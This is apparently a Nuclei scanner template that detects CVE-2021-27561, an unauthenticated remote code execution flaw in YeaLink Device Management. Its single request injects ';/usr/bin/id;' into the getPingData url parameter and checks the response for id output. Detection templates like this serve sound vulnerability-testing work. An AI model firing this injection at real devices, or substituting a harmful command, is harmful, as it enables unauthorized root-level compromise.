id: CVE-2021-27561

info:
  name: YeaLink DM PreAuth RCE
  author: shifacyclewala,hackergautam
  severity: critical
  description: A malicious actor can trigger Unauthenticated Remote Code Execution
  reference:
    - https://ssd-disclosure.com/ssd-advisory-yealink-dm-pre-auth-root-level-rce/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-27561
    cwe-id: CWE-77
  tags: cve,cve2021,rce,yealink,mirai

requests:
  - method: GET
    path:
      - "{{BaseURL}}/premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;/usr/bin/id;"

    matchers-condition: and
    matchers:
      - type: word
        condition: and
        part: body
        words:
          - 'uid'
          - 'gid'
          - 'groups'

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - "(u|g)id=.*"